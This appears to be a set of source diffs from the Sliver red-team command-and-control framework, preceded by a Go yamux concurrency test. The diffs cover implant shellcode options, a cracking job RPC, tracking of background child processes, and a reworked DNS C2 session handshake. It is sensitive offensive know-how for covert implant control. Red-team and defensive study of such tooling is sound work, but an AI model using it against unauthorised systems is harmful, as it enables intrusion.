"testing"
"github.com/hashicorp/yamux"
)
func TestYamuxConcurrentStreams(t *testing.T) {
serverConn, clientConn := net.Pipe()
serverSession, err := yamux.Server(serverConn, nil)
if err != nil {
t.Fatalf("server session: %v", err)
}
defer serverSession.Close()
clientSession, err := yamux.Client(clientConn, nil)
if err != nil {
t.Fatalf("client session: %v", err)
}
defer clientSession.Close()
const streams = 16
payloads := make([][]byte, streams)
for i := 0; i < streams; i++ {
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
}
var openWg sync.WaitGroup
openWg.Add(streams)
for i := 0; i < streams; i++ {
i := i
go func() {
defer openWg.Done()
stream, err := clientSession.Open()
if err != nil {
t.Errorf("open stream %d: %v", i, err)
return
}
_, err = stream.Write(payloads[i])
_ = stream.Close()
if err != nil {
t.Errorf("write stream %d: %v", i, err)
return
}
}()
}
openWg.Wait()
wantSet := map[string]struct{}{}
for _, p := range payloads {
wantSet[string(p)] = struct{}{}
}
gotSet := map[string]struct{}{}
for i := 0; i < streams; i++ {
stream, err := serverSession.Accept()
if err != nil {
t.Fatalf("accept stream %d: %v", i, err)
}
b, err := io.ReadAll(stream)
_ = stream.Close()
if err != nil {
t.Fatalf("read stream %d: %v", i, err)
}
gotSet[string(b)] = struct{}{}
}
if len(gotSet) != len(wantSet) {
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
}
for want := range wantSet {
if _, ok := gotSet[want]; !ok {
t.Fatalf("missing payload: %q", want)
}
}
}
File diff suppressed because it is too large. Load diff
+30 -10
View File
@@ -132,22 +132,26 @@ enum OutputFormat {
THIRD_PARTY = 4;
}
message DonutConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption
// ShellcodeConfig - options used when generating shellcode output.
//
// Note: Most fields map to Donut options for Windows shellcode generation.
// On macOS (darwin/arm64), only `Compress` is currently used (beignet aPLib).
message ShellcodeConfig {
// 1=none, 2=random names, 3=random names + symmetric encryption (Windows/Donut only)
uint32 Entropy = 2;
// 1=none, 2=aplib
// 1=none, 2=aplib (Windows/Donut + macOS/beignet)
uint32 Compress = 3;
// 1=exit thread, 2=exit process, 3=block
// 1=exit thread, 2=exit process, 3=block (Windows/Donut only)
uint32 ExitOpt = 4;
// 1=none, 2=abort on failure, 3=continue on failure
// 1=none, 2=abort on failure, 3=continue on failure (Windows/Donut only)
uint32 Bypass = 5;
// 1=overwrite headers, 2=keep headers
// 1=overwrite headers, 2=keep headers (Windows/Donut only)
uint32 Headers = 6;
// Run unmanaged EXE entrypoint as a new thread
// Run unmanaged EXE entrypoint as a new thread (Windows/Donut only)
bool Thread = 7;
// Convert command line to Unicode for unmanaged DLL entrypoints
// Convert command line to Unicode for unmanaged DLL entrypoints (Windows/Donut only)
bool Unicode = 8;
// Override original entry point (0 = default)
// Override original entry point (0 = default) (Windows/Donut only)
uint32 OEP = 9;
}
@@ -203,7 +207,8 @@ message ImplantConfig {
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
DonutConfig DonutConfig = 108;
ShellcodeConfig ShellcodeConfig = 108;
ShellcodeEncoder ShellcodeEncoder = 109;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
@@ -1267,6 +1272,21 @@ message CrackCommand {
string BrainSessionWhitelist = 113;
}
message CrackJob {
string ID = 1;
string CreatedAt = 2;
string CompletedAt = 3;
CrackJobStatus Status = 4;
string Err = 5;
CrackCommand Command = 7;
string ResultFileID = 8;
}
message CrackResponse {
CrackJob Job = 1;
}
message CrackConfig {
bool AutoFire = 1;
int64 MaxFileSize = 2;
+12 -19
View File
@@ -24,7 +24,6 @@ type DNSMessageType int32
const (
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
DNSMessageType_TOTP DNSMessageType = 1
DNSMessageType_INIT DNSMessageType = 2
DNSMessageType_POLL DNSMessageType = 3
DNSMessageType_CLOSE DNSMessageType = 4
@@ -38,7 +37,6 @@ const (
var (
DNSMessageType_name = map[int32]string{
0: "NOP",
1: "TOTP",
2: "INIT",
3: "POLL",
4: "CLOSE",
@@ -49,7 +47,6 @@ var (
}
DNSMessageType_value = map[string]int32{
"NOP": 0,
"TOTP": 1,
"INIT": 2,
"POLL": 3,
"CLOSE": 4,
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
//
//NOTE: DNS is very space sensitive so certain fields are re-purposed
//depending on the DNSMessageType as noted below:
//
//[Type TOTP]: ID field is used for the TOTP code
//
//depending on the DNSMessageType.
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x33,
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
+3 -6
View File
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
enum DNSMessageType {
NOP = 0; // aka FINGERPRINT
TOTP = 1;
reserved 1; // formerly TOTP
INIT = 2;
POLL = 3;
CLOSE = 4;
@@ -17,10 +17,7 @@ enum DNSMessageType {
/*
NOTE: DNS is very space sensitive so certain fields are re-purposed
depending on the DNSMessageType as noted below:
[Type TOTP]: ID field is used for the TOTP code
depending on the DNSMessageType.
*/
message DNSMessage {
DNSMessageType Type = 1;
@@ -29,4 +26,4 @@ message DNSMessage {
uint32 Stop = 4; // Bytes stop at
uint32 Size = 5; // Total size
bytes Data = 6; // Actual data
}
}
File diff suppressed because it is too large. Load diff
+2
View File
@@ -112,6 +112,7 @@ service SliverRPC {
returns (clientpb.CertificateAuthorityInfo);
// *** Crackstation ***
rpc Crack(clientpb.CrackCommand) returns (clientpb.CrackResponse);
rpc CrackstationRegister(clientpb.Crackstation)
returns (stream clientpb.Event);
rpc CrackstationTrigger(clientpb.Event) returns (commonpb.Empty);
@@ -195,6 +196,7 @@ service SliverRPC {
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
+72
View File
@@ -98,6 +98,7 @@ type SliverRPCClient interface {
GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error)
GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error)
// *** Crackstation ***
Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error)
CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error)
CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error)
@@ -169,6 +170,7 @@ type SliverRPCClient interface {
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
@@ -823,6 +825,15 @@ func (c *sliverRPCClient) GetCertificateAuthorityInfo(ctx context.Context, in *c
return out, nil
}
func (c *sliverRPCClient) Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error) {
out := new(clientpb.CrackResponse)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crack", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
if err != nil {
@@ -1458,6 +1469,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
return out, nil
}
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
out := new(sliverpb.ExecuteChildren)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
out := new(sliverpb.Sideload)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
@@ -2110,6 +2130,7 @@ type SliverRPCServer interface {
GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error)
GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error)
// *** Crackstation ***
Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error)
CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error
CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error)
@@ -2181,6 +2202,7 @@ type SliverRPCServer interface {
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
@@ -2430,6 +2452,9 @@ func (UnimplementedSliverRPCServer) GetCertificateInfo(context.Context, *clientp
func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented")
}
func (UnimplementedSliverRPCServer) Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
return nil, status.Errorf(codes.Unimplemented, "method Crack not implemented")
}
func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error {
return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented")
}
@@ -2634,6 +2659,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
}
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
}
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
}
@@ -3888,6 +3916,24 @@ func _SliverRPC_GetCertificateAuthorityInfo_Handler(srv interface{}, ctx context
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Crack_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.CrackCommand)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).Crack(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/Crack",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).Crack(ctx, req.(*clientpb.CrackCommand))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
m := new(clientpb.Crackstation)
if err := stream.RecvMsg(m); err != nil {
@@ -5115,6 +5161,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ExecuteChildrenReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.SideloadReq)
if err := dec(in); err != nil {
@@ -6377,6 +6441,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetCertificateAuthorityInfo",
Handler: _SliverRPC_GetCertificateAuthorityInfo_Handler,
},
{
MethodName: "Crack",
Handler: _SliverRPC_Crack_Handler,
},
{
MethodName: "CrackstationTrigger",
Handler: _SliverRPC_CrackstationTrigger_Handler,
@@ -6645,6 +6713,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "ExecuteWindows",
Handler: _SliverRPC_ExecuteWindows_Handler,
},
{
MethodName: "ExecuteChildren",
Handler: _SliverRPC_ExecuteChildren_Handler,
},
{
MethodName: "Sideload",
Handler: _SliverRPC_Sideload_Handler,
+5
View File
@@ -355,6 +355,9 @@ const (
// MsgShellResizeReq - Resize a shell PTY
MsgShellResizeReq
// MsgExecuteChildrenReq - List tracked background execute child processes
MsgExecuteChildrenReq
)
// Constants to replace enums
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgIfconfig
case *ExecuteReq:
return MsgExecuteReq
case *ExecuteChildrenReq:
return MsgExecuteChildrenReq
case *TerminateReq:
return MsgTerminateReq
case *Terminate:
File diff suppressed because it is too large. Load diff
+27
View File
@@ -517,6 +517,7 @@ message ExecuteReq {
string Stderr = 5;
bool EnvInheritance = 6;
map<string, string> Env = 7;
bool Background = 8;
uint32 PPid = 10;
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
string Stderr = 5;
bool UseToken = 6;
bool HideWindow = 7;
bool Background = 8;
uint32 PPid = 10;
commonpb.Request Request = 9;
@@ -545,6 +547,31 @@ message Execute {
commonpb.Response Response = 9;
}
message ExecuteChildrenReq {
commonpb.Request Request = 9;
}
message ExecuteChild {
int32 Pid = 1;
string Path = 2;
repeated string Args = 3;
int64 StartTime = 4;
bool Exited = 5;
int32 ExitCode = 6;
int64 ExitTime = 7;
string Stdout = 8;
string Stderr = 11;
string Error = 12;
}
message ExecuteChildren {
repeated ExecuteChild Children = 1;
commonpb.Response Response = 9;
}
message SideloadReq {
bytes Data = 1;
string ProcessName = 2;
+185 -66
View File
@@ -21,14 +21,12 @@ package c2
We've put a little effort to making the server at least not super easily fingerprintable,
though I'm guessing it's also still not super hard to do. The server must receive a valid
TOTP code before we start returning any non-error records. All requests must be formatted
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
16,777,216 can probably be bruteforced but it'll at least be slow.
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
DNS command and control outline:
1. Implant sends TOTP encoded message to DNS server, server checks validity
2. DNS server responds with the "DNS Session ID" which is just some random value
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
2. DNS server validates INIT and allocates session state
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
4. Implant establishes encrypted session
@@ -44,6 +42,7 @@ import (
"sort"
"strings"
"sync"
"sync/atomic"
"time"
consts "github.com/bishopfox/sliver/client/constants"
@@ -66,6 +65,17 @@ const (
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
defaultMaxTXTLength = 254
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
defaultMaxPendingDNSInits = 1024
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
defaultPendingDNSInitTTL = 2 * time.Minute
defaultPendingDNSInitGCInterval = 30 * time.Second
// INIT carries only key-exchange material and should remain small.
defaultMaxDNSInitSize = 16 * 1024
)
var (
@@ -78,7 +88,7 @@ var (
)
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
// StartPivotListener()
server := &SliverDNSServer{
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
messages: &sync.Map{}, // In progress message streams
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: enforceOTP,
}
server.startInitGC()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
started := time.Now()
@@ -103,6 +113,9 @@ type DNSSession struct {
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Created time.Time
lastSeen atomic.Int64 // unix nanos
dnsIdMsgIdMap map[uint32]uint32
outgoingMsgIDs []uint32
outgoingBuffers map[uint32][]byte
@@ -113,6 +126,10 @@ type DNSSession struct {
msgCount uint32
}
func (s *DNSSession) touch(now time.Time) {
s.lastSeen.Store(now.UnixNano())
}
func (s *DNSSession) msgID(id uint32) uint32 {
return uint32(id<<24) | uint32(s.ID)
}
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
complete bool
}
// pendingInit tracks the reassembly state for an INIT message (which may arrive
// split across multiple DNS queries).
type pendingInit struct {
Created time.Time
Envelope *PendingEnvelope
}
// Reassemble - Reassemble a completed message
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
// There's some weird race here with a nil pointer
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
messages *sync.Map
TTL uint32
MaxTXTLength int
EnforceOTP bool
pendingInits atomic.Int64
gcStopOnce sync.Once
gcStop chan struct{}
gcDone chan struct{}
}
// Shutdown - Shutdown the DNS server
func (s *SliverDNSServer) Shutdown() error {
s.gcStopOnce.Do(func() {
if s.gcStop != nil {
close(s.gcStop)
if s.gcDone != nil {
<-s.gcDone
}
}
})
return s.server.Shutdown()
}
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
return s.server.ListenAndServe()
}
func (s *SliverDNSServer) startInitGC() {
// Tests construct SliverDNSServer directly; only start GC for real listeners.
if s.gcStop != nil {
return
}
s.gcStop = make(chan struct{})
s.gcDone = make(chan struct{})
go func() {
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
defer ticker.Stop()
defer close(s.gcDone)
for {
select {
case <-ticker.C:
s.gcPendingInits()
case <-s.gcStop:
return
}
}
}()
}
func (s *SliverDNSServer) gcPendingInits() {
now := time.Now()
var deleted int64
s.messages.Range(func(key, value any) bool {
p, ok := value.(*pendingInit)
if !ok || p == nil {
if _, loaded := s.messages.LoadAndDelete(key); loaded {
deleted++
}
return true
}
created := p.Created
if created.IsZero() {
created = now
}
if now.Sub(created) > defaultPendingDNSInitTTL {
if _, loaded := s.messages.LoadAndDelete(key); loaded {
deleted++
}
}
return true
})
if deleted > 0 {
s.pendingInits.Add(-deleted)
}
}
// ---------------------------
// DNS Handler
// ---------------------------
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
resp = s.handleCanary(req)
}
if resp != nil {
// These responses often have near-max-length QNAMEs. Enable compression to
// keep UDP responses under the minimum DNS message size limits.
resp.Compress = true
writer.WriteMsg(resp)
} else {
dnsLog.Infof("Invalid query, no DNS response")
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
return s.nameErrorResp(req)
}
// TOTP Handler can be called without dns session ID
if msg.Type == dnspb.DNSMessageType_TOTP {
return s.handleHello(domain, msg, req)
// INIT can be called without an existing server-side session. The server only
// stores session state after validating the key exchange.
if msg.Type == dnspb.DNSMessageType_INIT {
return s.handleDNSSessionInit(domain, msg, checksum, req)
}
// All other handlers require a valid dns session ID
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
if !ok {
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
return s.nameErrorResp(req)
}
if session, ok := sessionValue.(*DNSSession); ok && session != nil {
session.touch(time.Now())
}
// Msg Type -> Handler
switch msg.Type {
case dnspb.DNSMessageType_NOP:
return s.handleNOP(domain, msg, checksum, req)
case dnspb.DNSMessageType_INIT:
return s.handleDNSSessionInit(domain, msg, checksum, req)
case dnspb.DNSMessageType_POLL:
return s.handlePoll(domain, msg, checksum, req)
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
if msg.Size == 0 {
return nil, false, ErrInvalidMsg
}
if msg.Size > defaultMaxDNSInitSize {
return nil, false, ErrInvalidMsg
}
pendingValue, loaded := s.messages.Load(msg.ID)
if !loaded {
pendingValue = &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
next := s.pendingInits.Add(1)
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
s.pendingInits.Add(-1)
return nil, false, ErrInvalidMsg
}
pendingValue = &pendingInit{
Created: time.Now(),
Envelope: &PendingEnvelope{
Size: msg.Size,
received: uint32(0),
messages: map[uint32][]byte{},
mutex: &sync.Mutex{},
complete: false,
},
}
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
if loaded {
// Another goroutine won the race. Roll back our pending counter.
s.pendingInits.Add(-1)
pendingValue = actual
}
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
pendingValue = actual
}
pending := pendingValue.(*PendingEnvelope)
p, ok := pendingValue.(*pendingInit)
if !ok || p == nil || p.Envelope == nil {
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
pending := p.Envelope
if pending.Size != msg.Size && msg.Size != 0 {
s.messages.Delete(msg.ID)
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
if !pending.Insert(msg) {
return nil, false, nil
}
if pending.received > pending.Size {
s.deletePendingInit(msg.ID)
return nil, false, ErrInvalidMsg
}
data, err := pending.Reassemble()
s.messages.Delete(msg.ID)
s.deletePendingInit(msg.ID)
if err != nil {
return nil, false, err
}
return data, true, nil
}
// ---------------------------
// DNS Message Handlers
// ---------------------------
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
dnsLog.Debugf("[dns] totp request: %v", msg)
dnsSessionID := dnsSessionID()
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
incomingEnvelopes: map[uint32]*PendingEnvelope{},
incomingMutex: &sync.Mutex{},
msgCount: uint32(0),
})
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
respBuf := make([]byte, 4)
